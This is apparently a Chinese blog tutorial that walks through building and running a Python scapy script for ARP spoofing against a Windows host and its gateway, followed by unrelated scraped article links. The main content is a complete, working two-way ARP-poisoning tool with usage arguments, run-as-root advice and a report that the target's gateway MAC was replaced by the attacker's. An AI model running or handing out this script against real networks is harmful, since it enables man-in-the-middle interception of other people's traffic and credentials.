1.系统环境:Ubuntu 16.04

Python版本:2.7

2.攻击机器:Ubuntu(192.16.0.14)

目标机器:Windows 7(192.168.0.9)

网关:(192.168.0.1)

3.首先使用下面命令安装scapy模块

pip install scapy

  

4.关于ARP欺骗的原理以及ARP包的格式请自行百度,在此不作过多描述

from scapy.all import *
import argparse
import sys
def arp_attack(interface,tip,gip):
    local_mac=get_if_hwaddr(interface) #get_if_hwaddr是获取指定网卡的MAC地址
    tmac=getmacbyip(tip) #getmacbyip是获取指定ip的MAC地址
    gmac=getmacbyip(gip)
    tpacket=Ether(src=local_mac,dst=tmac)/ARP(hwsrc=local_mac,psrc=gip,hwdst=tmac,pdst=tip,op=2) #在ARP包前面加上以太网头部,src是源MAC,dst是目标MAC,ARP中的参数与ARP包格式有关,请自行百度
    gpacket=Ether(src=local_mac,dst=gmac)/ARP(hwsrc=local_mac,psrc=tip,hwdst=gmac,pdst=gip,op=2)
    while 1:      sendp(tpacket,iface=interface,inter=1) #sendp是在第二层发送数据包,inter参数代表每间隔inter指定的秒数发送一次数据包
      print("sending: %s(MAC:%s) -> %s"%(gip,local_mac,tip))
      sendp(gpacket,iface=interface,inter=1)
      print("sending: %s(MAC:%s) -> %s"%(tip,local_mac,gip))
if __name__ == '__main__':
    parser=argparse.ArgumentParser()
    parser.add_argument('-i',help='select interface')
    parser.add_argument('-t',help='target ip')
    parser.add_argument('-g',help='gateway ip')
    args=parser.parse_args()
    if args.i and args.t and args.g:
        print("Use Ctrl+z to stop")
        arp_attack(args.i,args.t,args.g)
    else:
        print("Please enter the correct parameters")

关于下面这一块的代码一开始我是写成图中所示的(当时只截了图,没有复制代码,抱歉):

while 1:
      sendp(tpacket,iface=interface,inter=1) #sendp是在第二层发送数据包,inter参数代表每间隔inter指定的秒数发送一次数据包
      print("sending: %s(MAC:%s) -> %s"%(gip,local_mac,tip))
      sendp(gpacket,iface=interface,inter=1)
      print("sending: %s(MAC:%s) -> %s"%(tip,local_mac,gip))

loop参数代表循环发送数据包,但是脚本会一直停止在第一个数据包的发送处,不会发送第二个数据包,达不到双向欺骗的目的,所以作了修改。

说明:脚本要在root权限下运行,如果是普通用户权限,你会发现你的getmacbyip只能获取本地的MAC,而不能获取网关与目标主机的MAC,它会出现如下错误信息:


5.最后的结果如下图所示:

你可以看到目标主机中的网关的MAC地址已经是我的Ubuntu主机的MAC地址了。

6. 参考网址(转载自他人文章)

https://www.cnblogs.com/reddusty/p/4946118.html

scapy使用中文文档:https://github.com/Larryxi/Scapy_zh-cn/blob/master/README.md

编写Python脚本进行ARP欺骗的更多相关文章

  1. arp协议分析&python编程实现arp欺骗抓图片

    arp协议分析&python编程实现arp欺骗抓图片 序 学校tcp/ip协议分析课程老师布置的任务,要求分析一种网络协议并且研究安全问题并编程实现,于是我选择了研究arp协议,并且利用pyt ...

  2. vim—自动缩进(编写Python脚本)

    大神推荐使用vim编写Python脚本,学而时积之,不亦乐乎! 使用vim编写Python脚本的时候不能正常缩进,需要修改vimrc文件 Ubuntu系统下vimrc文件的位置: $ cd /etc/ ...

  3. 编写Python脚本把sqlAlchemy对象转换成dict的教程

    编写Python脚本把sqlAlchemy对象转换成dict的教程 在用sqlAlchemy写web应用的时候,经常会用json进行通信,跟json最接近的对象就是dict,有时候操作dict也会比操 ...

  4. Python黑客编程ARP欺骗

    Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...

  5. 变量-数据类型-对象-如何编写python脚本

    标识符的命名规则变量是标识符的例子. 标识符 是用来标识 某样东西 的名字.在命名标识符的时候,你要遵循这些规则:标识符的第一个字符必须是字母表中的字母(大写或小写)或者一个下划线(‘ _ ’).标识 ...

  6. window下编写python脚本在linux下运行出错 usr/bin/python^M: bad interpreter: No such file or directory

    今天在windows下使用notepad++写了个python脚本,传到linux服务器执行后提示:-bash: ./logger.py: usr/bin/python^M: bad interpre ...

  7. python arp欺骗

    使用python构造一个arp欺骗脚本 import os import sys from scapy.all import * import optparse def main(): usage=& ...

  8. Python+Appium自动化测试(3)-编写自动化脚本

    之前一篇博客已经讲述怎样手动使用appium-desktop启动测试机上的app,但我们实际跑自动化脚本的过程中,是需要用脚本调用appium启动app的,接下来就尝试写Python脚本启动app并登 ...

  9. python脚本后台运行

    问题描述: 环境: CentOS6.4 一个用python写的监控脚本test1.py,用while True方式一直运行,在ssh远程(使用putty终端)时通过以下命令启动脚本: python t ...

随机推荐

  1. (二叉树 BFS DFS) leetcode 104. Maximum Depth of Binary Tree

    Given a binary tree, find its maximum depth. The maximum depth is the number of nodes along the long ...

  2. java中一维数组的定义和遍历

    public class ArrayDemo1{ public static void main(String[] args){ //1 定义数组 并同时赋值 int[] arr = new int[ ...

  3. 解析:为什么设计师选择mac电脑居多?

    mac电脑的使用者中程序员和设计师居多,上篇文章说明了程序员选择mac的原因以及使用体验,这次,本文说明一下,设计师选择mac的原因. 解析:为什么程序员应该有一台Mac个人电脑? 1.外观. 设计师 ...

  4. 如何在springcloud分布式系统中实现分布式锁?

    一.简介 一般来说,对数据进行加锁时,程序先通过acquire获取锁来对数据进行排他访问,然后对数据进行一些列的操作,最后需要释放锁.Redis 本身用 watch命令进行了加锁,这个锁是乐观锁.使用 ...

  5. gometalinter代码质量检查分析工具(golang)

    GitHub地址:https://github.com/alecthomas/gometalinter gometalinter安装和使用 1.安装 go get github.com/alectho ...

  6. go 终端读写、文件读写

    go 终端读写 操作终端相关文件句柄常量 os.Stdin:标准输入 os.Stdout:标准输出 os.Stderr:标准错误输出 示例: package main import ( "b ...

  7. vmware centos7 网络配置

    1. 在vmware创建centos虚拟机 2. 在cmd下看一下本机所处的网段,并对一下vmware上的配置 如果同样处于同一网段(192.168.aaa.bbb,aaa处一致就行),就可以直接开机 ...

  8. Openldap命令详解

    Openldap 客户端常用管理命令 1.ldapadd -x: 简答认证方式 -W: 不需要在命令上写密码 ldapapp -x -D "cn=Manager,dc=suixingpay, ...

  9. Hadoop记录-yarn ResourceManager Active频繁易主问题排查(转载)

    一.故障现象 两个节点的ResourceManger频繁在active和standby角色中切换.不断有active易主的告警发出 许多任务的状态没能成功更新,导致一些任务状态卡在NEW_SAVING ...

  10. 10、 在QQ音乐中爬取某首歌曲的歌词

        需求就是把关卡内的代码稍作修改,将周杰伦前五页歌曲的歌词都爬取下来,结果就是全部展示打印出来.       URL  https://y.qq.com/portal/search.html#p ...